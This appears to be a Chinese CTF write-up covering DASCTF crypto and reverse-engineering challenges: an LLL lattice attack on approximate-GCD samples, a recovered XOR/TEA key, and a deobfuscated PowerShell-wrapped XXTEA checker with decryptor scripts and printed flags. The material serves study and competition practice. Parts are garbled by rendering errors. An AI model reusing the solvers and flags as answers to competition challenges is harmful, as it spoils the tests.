x=pqi+ei x=pq_i+e_i x=pqi+ei

题目名称是gcd,但是这里有一个e,直接gcd看起来行不通

虽然x不是严格的p的倍数,但是一定也很接近

相较于pq,乘起来就是1768bit左右

而e在[-2^255, 2^255],即256bit,所以误差e_i其实是很小的

攻击思路:

我们有了四个x,可不可以构造某种线性组合,去把pq_i消去,保留较小的e,再通过格上断向量找出来

考虑q0x1−q1x0,再展开
q0(pq1+e1)−q1(pq0+e0) q0(pq1+e1)−q1(pq0+e0) q0(pq1+e1)−q1(pq0+e0)

=pq0q1+q0e1−pq0q1−q1e0 =pq0q1+q0e1−pq0q1−q1e0 =pq0q1+q0e1−pq0q1−q1e0

=q0e1−q1e0 =q0e1−q1e0 =q0e1−q1e0

这样主项就已经抵消了,剩下的也同理

再取X0作为基准,构造如下矩阵
B=(2ρ+1x1x2x30−x00000−x00000−x0)(ρ=256) B = \begin{pmatrix} 2^{\rho + 1} & x_1 & x_2 & x_3 \\ 0 & -x_0 & 0 & 0 \\ 0 & 0 & -x_0 & 0 \\ 0 & 0 & 0 & -x_0 \end{pmatrix} \quad (\rho = 256) B= 2ρ+1000x1−x000x20−x00x300−x0 (ρ=256)

取向量(q0,q1,q2,q3),左乘矩阵得到
(q0,q1,q2,q3)B=(q02ρ+1,q0x1−q1x0,q0x2−q2x0,q0x3−q3x0) (q0,q1,q2,q3)B=(q02ρ+1, q0x1−q1x0, q0x2−q2x0, q0x3−q3x0) (q0,q1,q2,q3)B=(q02ρ+1,q0x1−q1x0,q0x2−q2x0,q0x3−q3x0)

再将x代入
(q02ρ+1,q0e1−q1e0,q0e2−q2e0,q0e3−q3e0) (q_02^{ρ+1}, q0e1−q1e0, q0e2−q2e0, q0e3−q3e0) (q02ρ+1,q0e1−q1e0,q0e2−q2e0,q0e3−q3e0)

因为误差只有256bit,这个向量会比一般向量短的多,LLL后,这个关系很有可能出现在约化基中

得到q0~q3后

因为
xi=pqi+ei xi=pqi+ei xi=pqi+ei

对 x / q以及附近的几个值做检查,选出让误差e都落在范围内的候选,即为p
p≈xiqi p≈\frac{x_i}{q_i} p≈qixi

最后再计算哈希即可

python 复制代码
from hashlib import sha256
from sage.all import *

rho = 256
eta = 768

xs = [
    7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,
    5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
    6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
    5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]

def flag_of_p(p):
    return "DASCTF{" + sha256(hex(int(p)).encode()).hexdigest()[:32] + "}"

def recover_candidates(xs):
    x0 = xs[0]

    # 行格基
    B = Matrix(ZZ, [
        [2^(rho+1), xs[1], xs[2], xs[3]],
        [0,         -x0,   0,     0],
        [0,         0,     -x0,   0],
        [0,         0,     0,     -x0],
    ])

    print("[+] original basis:")
    print(B)

    L = B.LLL()
    print("[+] LLL basis:")
    print(L)

    cands = []

    for row in L.rows():
        row = [ZZ(v) for v in row]

        # 理论上 row[0] = ± q0 * 2^(rho+1)
        if row[0] == 0:
            continue
        if abs(row[0]) % (2^(rho+1)) != 0:
            continue

        q0 = abs(row[0]) // (2^(rho+1))
        if q0 <= 0:
            continue

        # row[j] = ±(q0*xj - qj*x0)
        for sgn in [1, -1]:
            r = [sgn * v for v in row]

            if (q0 * xs[1] - r[1]) % x0 != 0:
                continue
            if (q0 * xs[2] - r[2]) % x0 != 0:
                continue
            if (q0 * xs[3] - r[3]) % x0 != 0:
                continue

            q1 = (q0 * xs[1] - r[1]) // x0
            q2 = (q0 * xs[2] - r[2]) // x0
            q3 = (q0 * xs[3] - r[3]) // x0

            if min(q0, q1, q2, q3) <= 0:
                continue

            qs = [ZZ(q0), ZZ(q1), ZZ(q2), ZZ(q3)]

            # 用每个 x_i / q_i 附近估计 p
            ps = set()
            for x, q in zip(xs, qs):
                base = x // q
                for t in range(-2, 3):
                    pp = ZZ(base + t)
                    if pp > 0:
                        ps.add(pp)

            for p in ps:
                es = [x - p*q for x, q in zip(xs, qs)]

                if p.nbits() != eta:
                    continue
                if any(abs(e) >= 2^rho for e in es):
                    continue

                cands.append((p, qs, es))

    uniq = []
    seen = set()
    for p, qs, es in cands:
        key = int(p)
        if key not in seen:
            seen.add(key)
            uniq.append((p, qs, es))
    return uniq

cands = recover_candidates(xs)

if not cands:
    print("[-] no valid candidate found")
else:
    print(f"[+] found {len(cands)} candidate(s)")
    for i, (p, qs, es) in enumerate(cands):
        print("=" * 80)
        print(f"[+] candidate #{i}")
        print(f"p = {p}")
        print(f"p bits = {p.nbits()}")
        print(f"is_prime(p) = {is_prime(p)}")
        print(f"qs bits = {[q.nbits() for q in qs]}")
        print(f"is_prime(qs) = {[is_prime(q) for q in qs]}")
        print(f"es = {es}")
        print(f"e bits = {[abs(e).nbits() if e != 0 else 0 for e in es]}")
        print(f"flag = {flag_of_p(p)}")

flag:eead8ea2b3519a2273a5292375e31009

RE

眼见为虚_1

打开先查找字符串信息,发现wrong flag right flag字符串,判断可能为判断逻辑直接定位到附近

发现sub_401522可能为函数判断逻辑点进去

校验逻辑:

sub_402B68是一个最终验证函数,把前面已经处理过的输入,和程序内置的 40 字节目标数组逐字节比较,判断是否正确。那么它前面的 sub_4014F0(v4)很明显就是对输入做处理的函数


这些是按小端序存放的,因此展开后的 40 字节目标数组为:

33 56 e8 01 6f 84 e4 a3 43 73 8e 26 5e f0 fd a1

15 75 88 20 08 a4 a6 a5 15 75 88 23 5d f0 fa f0

41 71 de 75 09 a1 f9 e8

程序最后比较的是经过处理后的输入与这 40 字节是否完全一致

进去后发现4014f0不是直接处理数据,而是通过对象/虚表调用两个函数,大概率应该生成key应该处理用户输入。去 sub_402BFC 找虚表,最后在虚表里点到 402A18 和 402AFC。

这是一段 TEA 风格 的变换代码:

输入缓冲区地址在 *(DWORD *)(a1 + 4)。a1 + 8 开始存放 8 字节 key。对前 40 字节逐字节处理

a1[2] = 0x18274A3A

a1[3] = 0x24F8D42F

a1[4] = 0x9C8793BF

a1[5] = 0xBB5C1044

a1[6] = 0x2FEA4F74

a1[7] = 0xA142ED8B

经过 32 轮后,得到:5C FC A0 27 20 A7 84 7A

还原脚本:

import struct

target = bytes.fromhex(

"3356e8016f84e4a343738e265ef0fda1"

"1575882008a4a6a5157588235df0faf0"

"4171de7509a1f9e8"

)

sub_402A18 最终输出

k1 = 0x27A0FC5C

k2 = 0x7A84A720

小端拼成 8 字节 key

key = struct.pack("<II", k1, k2)

flag = bytes([

target[i] ^ ((key[i % 8] + 0x1B) & 0xFF)

for i in range(40)

])

print(flag)

print(flag.decode())

print(len(flag))

运行结果

b'DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}'

flag:DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}

eazy_code-new

直接拖进 IDA 观察,可以发现这不是常规的 PE/ELF 可执行文件,而是一个纯文本脚本文件,而且内容是大量类似下面这种奇怪变量名的拼接形式

这种特征非常像 PowerShell 混淆脚本 ,本质是用变量名代替数字,再拼出 [char]99+[char]108+... 这种字符流,最后动态执行。观察脚本前半部分,可以发现作者先构造了一批"数字变量",再构造 KaTeX parse error: Expected '}', got 'EOF' at end of input: {%} 这个变量。

结合整体格式可以判断:

${]} -> 0

${!;*} -> 1

${*@ } -> 2

KaTeX parse error: Expected '}', got 'EOF' at end of input: {=``} -> 3

${ ]} -> 4

${!} -> 5

${#.} -> 6

${(} -> 7

${)``} -> 8

${``*%} -> 9

而 KaTeX parse error: Expected '}', got 'EOF' at end of input: {%} 被构造成了:[char]

于是原始大串内容实际上等价于:

char\]99+\[char\]108+\[char\]97+\[char\]115+\[char\]115+... import re with open("eazy_code", "r", encoding="utf-8", errors="ignore") as f: raw = f.read() m = re.search(r'${@\*}\\s\*=\\s\*"(.*)"\\s*\|\\s\*.${-\`\`}', raw, re.S) payload = m.group(1) mp = { '${\]}': '0', '${!;\*}': '1', '${\*@ }': '2', 'KaTeX parse error: Expected '}', got 'EOF' at end of input: {=\`\`}': '3', '${ \]}': '4', '${!}': '5', '${#.}': '6', '${(}': '7', '${)\`\`}': '8', '${\`\`\*%}': '9', 'KaTeX parse error: Expected '}', got 'EOF' at end of input: {%}': '\[char\]' } for k in sorted(mp, key=len, reverse=True): payload = payload.replace(k, mp\[k\]) nums = re.findall(r'\[char\](\[0-9\]+)', payload) decoded = ''.join(chr(int(x)) for x in nums) with open("stage2.txt", "w", encoding="utf-8") as f: f.write(decoded) print(decoded\[:1000\]) 运行后可以得到真正的第二层代码,开头如下: class chiper(): def **init**(self): ​ self.d = 0x87654321 ​ k0 = 0x67452301 ​ k1 = 0xefcdab89 ​ k2 = 0x98badcfe ​ k3 = 0x10325476 ​ self.k = \[k0, k1, k2, k3

这说明表面是 PowerShell,实际隐藏的核心逻辑是一段 Python 校验器

class chiper():

def init(self):

​ self.d = 0x87654321

​ k0 = 0x67452301

​ k1 = 0xefcdab89

​ k2 = 0x98badcfe

​ k3 = 0x10325476

​ self.k = [k0, k1, k2, k3]

def e(self, n, v):

​ from ctypes import c_uint32

​ def MX(z, y, total, key, p, e):

​ temp1 = (z.value >> 6 ^ y.value << 4) + \

​ (y.value >> 2 ^ z.value << 5)

​ temp2 = (total.value ^ y.value) + \

​ (key[(p & 3) ^ e.value] ^ z.value)

​ return c_uint32(temp1 ^ temp2)

​ key = self.k

​ delta = self.d

​ rounds = 6 + 52//n

​ ...

后面 check() 函数中有目标数组

ans = [1374278842, 2136006540, 4191056815, 3248881376]

并且有长度限制:

if length % 8:

print("Incorrect format.")

exit(1)

说明输入长度必须是 8 的倍数。

bytes2ints() 会把输入按 每 8 字节分组,再拆成两个 little-endian 的 uint32。

而 ans 一共 4 个 uint32,因此原始输入长度应为:

4 个 uint32 = 16 字节

即 flag 内部实际输入应为 16 个字符,程序采用自定义 XXTEA/Block TEA 变种对输入进行加密,再与固定数组 ans 比较,满足则输出既然 ans 是加密后的 4 个 uint32,那么只要把这个过程逆过来,就能得到原始 16 字节输入:

from ctypes import c_uint32

import struct

def MX(z, y, total, key, p, e):

temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)

temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)

return c_uint32(temp1 ^ temp2)

def decrypt(v, key, delta):

n = len(v)

rounds = 6 + 52 // n

total = c_uint32((rounds * delta) & 0xffffffff)

v = [c_uint32(x).value for x in v]

while rounds > 0:

​ e = c_uint32((total.value >> 2) & 3)

​ # 先逆最后一个元素

​ z = c_uint32(v[n - 2])

​ y = c_uint32(v[0])

​ v[n - 1] = c_uint32(v[n - 1] - MX(z, y, total, key, n - 1, e).value).value

​ # 再逆前面的元素

​ for p in range(n - 2, -1, -1):

​ z = c_uint32(v[p - 1] if p > 0 else v[n - 1])

​ y = c_uint32(v[p + 1])

​ v[p] = c_uint32(v[p] - MX(z, y, total, key, p, e).value).value

​ total.value = c_uint32(total.value - delta).value

​ rounds -= 1

return v

key = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]

ans = [1374278842, 2136006540, 4191056815, 3248881376]

plain = decrypt(ans, key, 0x87654321)

flag_inner = struct.pack('<4I', *plain).decode()

print(flag_inner)

运行结果:

flag:yOUar3g0oD@tPw5H

相关推荐
小谢取证2 小时前
侦查笔记:云服务器镜像快速勘验
网络
mounter6252 小时前
基于MLX设备的Devlink 工具全指南与核心架构演进
linux·运维·服务器·网络·架构·kernel
wefg12 小时前
【计算机网络】网络基础 - 1(网络协议/TCP/IP协议栈/局域网内外数据传输/数据封装、解包、分用)
linux·服务器·网络
汇智信科3 小时前
煤矿双重预防管理信息系统:筑牢矿山安全生产数字化防线
安全·煤矿
九河云3 小时前
教育行业上云实践:从在线课堂到智慧校园的架构升级
大数据·运维·人工智能·安全·架构·数字化转型
Predestination王瀞潞3 小时前
计科-计网6-网络层「整理」
网络·计算机网络·架构·计网
南浦别a4 小时前
第三十六天---TCP通信
网络·网络协议·tcp/ip
Fly Wine5 小时前
Segement Routing(SR)BE场景超详细实验解析
网络
Jay-r5 小时前
OpenClaw养龙虾工具安全风险分析:五大隐患及防护建议引言
网络·python·安全·web安全·ai助手·openclaw